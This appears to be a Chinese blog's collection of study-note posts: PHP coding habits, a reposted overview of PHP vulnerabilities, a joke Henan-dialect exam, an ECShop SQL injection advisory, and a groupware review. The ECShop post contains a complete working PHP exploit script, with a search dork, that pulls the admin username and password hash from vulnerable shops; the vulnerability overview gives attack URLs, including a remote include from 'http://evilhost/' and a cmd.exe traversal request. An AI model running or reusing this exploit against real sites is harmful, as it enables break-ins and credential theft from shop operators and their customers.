10条PHP编程习惯

一家公司出的面试题,找出以下代码的错误之处:

<?
function baz($y $z) {
	$x = new Array();
	$x[sales]  = 60;
	$x[profit] = 20:

	foreach($x as $key = $value) {
		echo $key+" "+$value+"<BR>"$$
	}
}

你能找到几个呢?

如果你发现函数参数列表中少了逗号、“new Array()”是不正确的、行末用了冒号而不是分号、foreach中没有用“=>”及用“+”来连接字符串,那恭喜你,你找到了所有的错误,你已经掌握了PHP编程的基础。

现在我来说说我是怎么回答这道题的。我当然也找出了以上这些问题,但我更进一步。比如,你有没有发现在数组索引里没有用引号将字符串括起来?虽然这不会造成严重错误,但这是一个编码错误。另外,你注意到在echo一行它使用了双引号而不是单引号吗?使用了PHP开始标志的缩写形式?并且没有用 “<br/>”而是用了“<BR>”?

那么接下来就来看看我写的10条PHP编程习惯吧:

1、使用单引号括起来的字符串

当使用双引号来括字符串时,PHP解释器会对其进行变量替换、转义等操作,如“\n”。如果你只想输出一个基本的字符串,就用单引号吧,这样会节省一些资源。当然,如果你需要进行变量替换的,那就必须用双引号了,但其他情况下还是用单引号吧。

2、字符串的输出

你认为以下哪一条语句的运行速度最快?

print "Hi my name is $a. I am $b"$$
echo "Hi my name is $a. I am $b"$$
echo "Hi my name is ".$a.". I am ".$b;
echo "Hi my name is ",$a,". I am ",$b;
echo 'Hi my name is ',$a,'. I am ',$b;

也许这看起来很奇怪,但事实上最后一条的运行速度是最快的。print比echo要慢,在字符串中进行变量替换时会慢,而连接字符串,句点要比用逗号连接来得慢,最后一句则是第一个习惯的体现。所以,不在字符串中进行变量替换不仅会加快程序运行速度,也会让你的代码在任何语法高亮显示的编辑器中显得更为易懂(变量会被高亮显示出来)。很少人知道echo的参数可以用逗号连接,且速度会比字符串连接要来得快。最后再用上第一个习惯,那这条语句就非常好了。

3、在数组索引中使用单引号

正如你在上面的测试题中所看到的,我指出了$x[sales]从严格意义上来说是错误的,索引应该被括起来,即$x['sales']。这是因为PHP会将没有括起来的索引辨认为“裸”字符串,并把它解释为一个常量。当找不到该常量的定义时,才将其解释为一个字符串,所以这条语句才是可运行的。 把索引括起来可以省去这部分工作,如果将来正好要用这一字符串定义常量时也就不会有错误了。我甚至听说这样做要快七倍左右的时间,虽然我没有亲自测试过。 更多关于这一话题的讨论,请看PHP手册“数组”一章中的的“数组的能与不能”一节。

4、不要使用开始标志的缩写形式

你正在使用这样的符号吗?“<?”是非常糟糕的符号,它会引起与XML解释器的冲突。而且一旦你发布了这些代码,那么使用者就必须修改php.ini文件来打开对此符号的支持。所以实在没有理由去使用这种形式。用“<?php“吧。

5、尽量不要使用正则表达式

在进行常规的字符串操作时,尽可能不要去使用正则表达式(preg和ereg系列函数)。str_replace函数要比preg_replace快得多,甚至strtr函数也要比str_replace来得快。省去这些不必要的麻烦吧,你的老板会感谢你的。

6、不要在循环声明中使用函数

这个问题不单单出现在PHP中,你可以在其他语言的代码中经常看到:

差:

for($i=0;$i<count($array);$i++){...}

好:

$count=count($array);for($i=0;$i<$count;$i++){...}

这应该很好解释,但许多人就是想少写一行代码而浪费了系统资源。如果在循环声明中使用了count函数,那每次循环都会调用一次。如果你的循环次数很多,那就会浪费非常多的时间。

7、永远不要使用register_globals和magic quotes

这是两个很古老的功能,在当时(十年前)也许是一个好方法,但现在看来并非如此。老版本的PHP在安装时会默认打开这两个功能,这会引起安全漏 洞、编程错误及其他的问题,如只有用户输入了数据时才会创建变量等。如今这两个功能都被舍弃了,所以每个程序员都应该避免使用。如果你过去的程序有使用这 两项功能,那就尽快将其剔除吧。

8、一定要对变量进行初始化

(这里的“初始化”指的是“声明”)

当需要没有初始化的变量,PHP解释器会自动创建一个变量,但依靠这个特性来编程并不是一个好主意。这会造成程序的粗糙,或者使代码变得另人迷惑,因为你需要探寻这个变量是从哪里开始被创建的。另外,对一个没有初始化的变量进行递增操作要比初始化过的来得慢。所以对变量进行初始化会是个不错的主 意。

9、对代码进行注释

这个问题已经提过很多次了,但再多次也不够。我知道有些地方是不聘用不对代码进行注释的程序员的。我在前一次工作面试后和副总、面试官一起浏览我写的代码,当他们对我所做的代码注释印象深刻,还了解了一下我的这一习惯。一天之后,我得到了这个工作。

我知道有些自称为PHP大师的人声称自己的代码写得很好,不需要添加什么注释。在我看来,这些人都是垃圾。学一写注释的规范和技巧,熟悉一下phpDocumentorDoxygen之类的注释辅助软件,都是值得的。

10、遵循一个编程规范

关于这一点,是你需要在面试中询问你潜在的老板的,问问他们正在使用什么编程规范。PEARZend? 内部规范?要提及你正在使用的编程规范,不管是你自己创建的,还是目前普遍流行的一种。对于PHP这种松松垮垮的语言来说,如果没有一个好的编程规范,那么那些代码就会看起来想一堆垃圾。发臭的,令人作呕的垃圾。一些基本的规范包括空格规范、打括号匹配、命名风格等。这对任何一个追求高质量的代码的人来说 都是必须的。

有人说:“我讨厌你的4个空格的缩进。”我要说,什么?用4个空格来缩进?这比用制表符多占用3个字符的空间。更重要的是,只要是使用比记事本高级的编辑器,你可以自定义制表符的缩进值。所以每个程序员都可以以其最习惯的方式来看代码。可以时设置为4,也可以设置为0(如果你是个受虐狂)。反正我不在乎,但你就是不能用空格来缩进!

总的来说,我希望以上这些编程习惯可以对你有所帮助。如果你想在面试中留下好印象,只需要一些小细节就可以了。

Posted in 学习笔记 | 2 Comments

php漏洞原理浅谈

作者:Monster
转帖自:http://www.hackerm.com.cn/read.php/5.htm

PHP是一种服务器端的,嵌入HTML的脚本语言。PHP区别其他语言的地方是它的代码在服务器端执行,例如收集表格数据,生成动态页面内容,或者收发cookies等,今天我们来了解一下它的漏洞问题。

一 全局变量
全局变量,就是能够在整个程序执行的过程中都存在的变量。基于PHP的应用程序的主函数一般都是接受用户的输入,然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。


这段代码会显示一个文本框和提交按钮。当用户点击提交按钮时,页面就会将用户输入的数据传递到“get.php”,当“get.php”运行时,“$test”就会自动创建,包含了用户在文本框输入的数据。我们可以看出,攻击者可以按照自己的意愿创建任意的全局变量。下面的认证代码暴露了 PHP的全局变量所导致的安全问题:
if ($password == "monster")
$pass = 1;
……………
if ($pass == 1)
echo "认证通过";
?>
上面的代码首先检查用户的密码是否为“monster”,如果匹配的话,则设置“$pass”为“1”,之后如果“$pass”的值为“1”的话,就会认证通过。
从表面看起来,这是正确的,但是这段代码犯了想当然的错误,它假定“$pass”在没有设置值的时候是空的,却没有想到,攻击者可以创建任何全局变量并赋值,通过提交“http://server/get.php?pass=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。

二 过滤输入/输出转义
过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤,你可以避免未过滤数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。最好的方法是把过滤看成是一个检查的过程。
另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。例如,O’Reilly在传送给MySQL数据库前需要转义成O\’Reilly。单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。
为了区分数据是否已转义,还是建议定义一个命名机制。对于输出到客户机的转义数据,使$html数组进行存储,该数据首先初始化成一个空数组,对所有已过滤和已转义数据进行保存。

$html = array( );
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
echo "

Welcome, {$html['username']}.

";
?>

htmlspecialchars( )函数与htmlentities( )函数基本相同,它们的参数定义完全相同,只不过是htmlentities( )的转义更为彻底。
通过$html['username']把username输出到客户端,你就可以确保其中的特殊字符不会被浏览器所错误解释。如果username只包含字母和数字的话,实际上转义是没有必要的,但是这体现了深度防范的原则。
SQL 注入是PHP应用中最常见的漏洞之一,事实上,开发者需要同时犯以上两个错误才会引发一个SQL注入漏洞。

三 远程文件
PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:

if (!($fo = fopen("$file", "s"))
echo("文件$file打开错误 ");
?>

上面的脚本试图打开文件“$filename”,如果失败就显示错误信息。那么如果我们能够指定“$file”的话,就能利用这个脚本浏览任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。
例如:
如果指定“$file”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”,则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释。
例如:

include($dir."/ attack.php");
?>

上例中“$dir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$dir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件“attack.php”。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件“attack.php”,里面包含了恶意代码
然后把“$dir”设置为“http://evilhost/”,这样我们就可以在目标主机上执行上面的恶意代码,将结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行。

五 Session文件
PHP 4 以上的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事实以及谁登陆进入这个网站都被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。
事实上,当一个session启动时,就会生成一个随机的“session id”,如果远程浏览器总是在发送请求时提交这个“session id”的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开 始前加载到变量中。下面是一个简单的例子:

session_destroy();
$session_auth = "shaun";
session_register("session_auth");
?>

新版本的PHP都会自动把“$session_auth”的值设置为“shaun”,如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:

if (!empty($session_auth))
// Grant access to site here
?>

上面的代码假定如果“$session_auth”被置位的话,就是从session,而不是从用户输入来置位的,如果攻击者通过表单输入来置位的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。
Session 数据一般是保存在文件中,目录一般是“/tmp”,文件名一般是类似 “sess_”的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。
常见的针对session的攻击手段就是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成合法用户,因此保证会话标识不被泄露非常重要。

Posted in 学习笔记 | 2 Comments

全国河南话8级考试试题

(考试时间120分钟,共150分,附加题50分)

第Ⅰ卷(80分)

一、听力理解(将所选的A、B、C、D四个选项或答案填入题后相应括号内,每段对话读两遍。难度系数:※※。共10小题,本题共20分)

㈠将下列河南话短语译为普通话或英语。(每小题2分,共10分)
⑴(_________________)
⑵(_________________)
⑶(_________________)
⑷(_________________)
⑸(_________________)

㈡情景会话。(每小题2分,共10分)
⑴判断下列对话发生场景
⑵下列哪种回答为河南话最佳回答方式
⑶听下面一段独白,然后回答问题
① (__________________________________________)
② (__________________________________________)
③判断下面哪种方言为河南方言,请在其字母标号后打钩
A (___) B (___) C (___) D (___) E (___) F (___) G (___)
听力部分到此结束

二、单项选择(将所选的A、B、C、D四个选项填入题后相应的括号内。难度系数:※※※。共20题,每小题3分,共60分)
1.西方科学家牛顿在河南方言中会被叫做:
A.无顿 B.又顿 C.偶顿 D.牛兔

2.《黑客帝国》里面“黑客”的“黑”字在河南方言中读:
A.偶 B.歇 C.切 D.夏

3.河南方言中,“咕堆”的意思是:
A.躺 B.坐 C.蹲 D.以上答案都不是

4.在外地人看来,最能代表河南话的一个字是:
A.贼 B.咱 C.中 D.以上答案都是

5.曾经热播的贺岁片《手机》里面,讲河南话的演员是:
A.张国立 B.范伟 C.葛优 D.以上答案都不是

6. 长辈称唿中“老娘”指的是?
A.妈妈 B.大娘 C.外婆 D.姑姑 E.阿姨

7. 河南话之所以简洁最主要的一点就是双字或多字“连音”现象非常普遍,河南话中的那“dia”是指?
A.地瓜 B.地滑 C.顶啥 D.底下 E.店家

8.在形容“白痴”时,河南方言中表现得较为丰富多彩,下列选项中非此意的词是?
A.欣俅 B.二俅 C.二杆儿 D.欣 E.老二

9.咱私跟住去吧。句中的“私跟”意思是?
A.私奔 B.一起 C.四个人 D.合租 E.搭子

10.我可戈意他。该句中的“戈意”意思是?
A.满意 B.喜欢 C.讨厌 D.憎恨 E.瞧不起

11.他叶赫回来。该句中的“叶赫”的意思是?
A.前天晚上 B.昨天晚上 C.今天晚上 D.明天晚上 E.后天晚上

12.你那个真哭触!该句中的“哭触”的意思?
A.阳萎 B.细小 C.吓人 D.夸张 E.皱了

13.这小孩儿怎么老是嘿挲?该句中的“嘿挲”的意思是?
A.打嗝 B.咳嗽 C.呕吐 D.发抖 E.癫痫

14.当有人说你是“粉条”“凉粉”或者“韭菜”时,他的意思是指你怎么了?
A.你很圆滑 B.你很软弱 C.你很欠揍 D.你很委屈 E.你很多愁善感

15.你是哪儿类?该句中的“类”的词性是?
A.语气助词 B.形容词 C.名词 D.动词 E.感叹词

16.五谷名称中的“洋柿子”“勤荞”“秫秫”分别是指?
A.西红柿/青菜/高粱 B.柿子/荞麦/水稻 C.西红柿/辣椒/玉米 D.洋葱/荞麦/高粱 E.柿子/辣椒/水稻

17.在时间的表述中,河南方言亦有不俗表现,就在一天的不同时辰都有较大差别,比如“恰切”指的是早晨,那么“茶饭儿”指的是?
A.凌晨 B.午夜 C.上午 D.黄昏 E.下午

18.河南话中的儿化音是一大特色,朴实,顺口,自然,流畅,下列选项中,哪一项是对父亲的称唿?
A.德儿 B.囤儿 C.莞儿 D.巴儿 E.夜儿

19.花鸟虫鱼的不同称谓也是地方方言中的一绝,通常同一物种在不同地区人的叫法中就大相径庭,比如:“扁担”是一种细长青绿色的蚂蚱,“大刀”就是螳螂,“布革”则是白鸽,那么“绩鸟儿”指的是?
A.蝉 B.蝴蝶 C.麻雀 D.猫头鹰 E.蜜蜂

20. 河南方言中大多数的发音其实还是比较接近普通话,只是音调稍有不同,但在地名中的转音现象则极为严重,即便是当地人也不一定能分得清未知地名的真正发音,比如“铁庄”其实际名称为“田庄”,“土娇娃”其实际名称是“土家旺”,“皮里嘎”的实际名称是“裴里岗”,那么某地名“且乐”其实际是指?
A.青庐 B.曲廊 C.群落 D.秦楼 E.旗陇

第Ⅱ卷(70分)

三、填空题(根据题目将正确的答案填在题后的横线上。难度系数:※※。共5题,每题6分,共30分)
1.最能代表河南话的就是一个字____,也就是[行]的意思。(________________)

2.“这____够朋友”和“那____不是个东西”里面通常用哪个字代表家伙的意思?(________________)

3.河南话里,就有一个新词很是传神,那就是____,意思有些似北京的聊天,东北的侃大山,四川的摆龙门阵。(_______________)

4.“你____恁厉害哩?”“俺____恁倒霉呀。”“他____恁讨厌呢。”这几句当中单字是?(______________)
5.河南人一高兴,爱说“____劲儿!”(________________)

四、列举题(在相应的情景中河南话可能有不同的用法,那么请列举出怎么使用河南话在下列情境中才最恰当。难度系数:※※※※。共4题,每题10分,共40分)
1.如果连说“中中”,两个中字,请列举这两个字在河南话中的含义?
_______________________________________________________________________________________________________

2.晚上时候的见面问候语是要问什么才最礼貌?
_______________________________________________________________________________________________________

3.如果你对一个河南朋友说:“啥时候能到你家去坐坐?”他会高兴地说:“劳中,早晚晴来啦!”。
______________________________________________________________________________________________________

4.请列举河南话中对早上、上午、中午、下午、及晚上的说法
______________________________________________________________________________________________________

第Ⅲ卷:附加题(50分)

五、附加题(本题仅供某些对于河南话钻研十分精深的人回答,难度系数:※※※※※※)。本题共1题,满分50分。)
(某君晚上接到了一条短信,上面的语言乱七八糟,某君很迷茫,于是打电话到本河南话考试委员会寻求帮助,请同学们量力而为,翻译这条短信,酌情给分……)
短信正文如下:请将本短信翻译为普通话或英语
暗忍痕抽 ____________________________________
艺密思就 ____________________________________
笑雪问话 ____________________________________
弄纯呼扣 ____________________________________
访自煤该 ____________________________________
蠢宽煤游 ____________________________________
思除六狼 ____________________________________
搭宫忽抠 ____________________________________
现赖煤诗 ____________________________________
合电笑九 ____________________________________
罚阁萧画 ____________________________________
兜兜萧勾 ___________________________________

Posted in 学习笔记 | Tagged , , | 2 Comments

ECShop注射漏洞

by Ryat
http://bbs.wolvez.org
2009-03-24

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

if (empty($_GET['type']))
{
...
}
elseif ($_GET['type'] == 'collection')
{
...
}
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
$res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php

print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
* works with register_globals = On
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);

if ($hash)
exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
exit("Exploit Failed!\n");

function send()
{
global $host, $path;

$cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';

$data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

Posted in 学习笔记 | Tagged , , , | 1 Comment

开源Groupware软件试用手记

先来解释下什么是Groupware,它是一种基于web的群组协同办公的软件,通常包含:文件共享、文档流转、邮件、交流区等,在国内大多以办公自动化(OA)系统出现。

1.phpGroupware
这是一款比较老的程序,从05年的0.9.16到去年才发布的0.9.18,其实一直没有太多的变化 ,后台界面简单,甚至可以用丑陋来形容。功能上也十分简单,提供了很常规的邮件、地址簿、记事本功能。但是他还是有很多模块可以根据你的需求来选择安装。
官方地址:http://phpgroupware.org/

2.Group-office
Group-Office 是一个基于Web的办公套件,其功能包括用户管理、模块管理、邮件客户端、文件管理器、日程、项目管理以及客户关系管理等等。
功能丰富,界面采用了ajax技术来模拟桌面软件的效果。可以与PDA和Outlook同步。
安装和配置,对服务器会有比较多的特殊要求,虚拟主机用户可能不太适合使用。
官方网站:http://www.group-office.com/

3.more.Groupware
安装简单,支持多国语言,包含English、简体中文和繁体中文等(简体中文翻译不全)。包含的模块有:Webmail,记事本,待办事项,通讯录,项目管理,文件管理,日历等。
同样基于模块化管理 ,有专门针对权限控制的模块,模块的安装卸载都比较容易~
官方网址:http://www.moregroupware.de/

4.eGroupware
使用最新的php5开发,是一个多用户、基于PHP开发的协同工作套件。目前可用的模块包括:电子邮件(IMAP/POP3)、通讯录、行事历、文档管理、书签、Wiki、工作流等
支持超过25种语言,包含简体中文,所以安装过程不算很困难,从官方的wiki和svn上,你可以找到更多需要的模块和知识。使用上,eGroupware拥有清晰的后台界面和灵活的权限控制,非常适合小型企业协同办公。
官方网址:http://www.egroupware.org/

这些都是国外的比较知名的PHP开源的 协同办公软件,功能上各有千秋。其中我最感觉比较好用的就是eGroupware了
当然,我更期待国内PHP开源圈里,能出现这样的软件……

Posted in 学习笔记 | Tagged , , , | 87 Comments